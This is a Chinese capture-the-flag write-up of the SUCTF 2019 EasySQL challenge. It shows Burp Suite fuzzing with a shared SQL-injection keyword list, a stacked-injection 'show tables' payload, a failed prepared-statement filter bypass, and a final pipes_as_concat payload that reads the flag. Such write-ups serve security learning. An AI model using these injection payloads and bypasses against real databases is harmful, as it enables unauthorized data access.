[SUCTF 2019]EasySQL1

[SUCTF 2019]EasySQL1_第1张图片

先用bp抓包fuzz一下看拉黑了哪些东西

ctrl+i把他放到intruder中

[SUCTF 2019]EasySQL1_第2张图片

添加要注入的位置

[SUCTF 2019]EasySQL1_第3张图片

设置payload

[SUCTF 2019]EasySQL1_第4张图片

加载payload文件

[SUCTF 2019]EasySQL1_第5张图片

这是我自用的,可能有什么不足(需要可以自取)

union select

Union sElect
union/**/select
union
select
ascii
substr
from
or
and1=1
and 1=1
updatexml
information_schema.schemata
information_schema.tables
information_schema.columns
handler
group_concat
sleep
length
()
=
#
--
%23
>
<
=
^
table_name
table_schema
column_name
information_schema.tables
information_schema.schemata
information_schema.columns
where
,
database()

[SUCTF 2019]EasySQL1_第6张图片

综上判断尝试堆叠注入和预编译

堆叠注入

1;show tables#

出现Flag表

[SUCTF 2019]EasySQL1_第7张图片

后续思路(想尝试select但是from被禁了不能实现)

预编译

1;sEt @sql = concat(%27se%27,%27lect * from Flag;%27);prEpare stmt from @sql;execute stmt#

[SUCTF 2019]EasySQL1_第8张图片

似乎不行过滤了prepare,试了下大小写绕过也不行,看来正则匹配大小写

后续取参考大佬wp才明白

pipes_as_concat

补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

1;set sql_mode=pipes_as_concat;||flag from Flag

!!以下是我的理解

slect 1 后设置mysql的系统变量sql_mode=pipes_as_concat,最后因为设置了系统变量然后“||”将视为字符串连接符号而不是或非运算符,所以最后大概是这样的select 1(id) 和flag from Flag(来自Flag表的flag字段)

最后payload:1;set sql_mode=pipes_as_concat;select 1(因为本就在Flag表里select 1然后设置系统变量将后面的select 1插入前面的)

[SUCTF 2019]EasySQL1_第9张图片

你可能感兴趣的:(BUUCTF,web题,安全)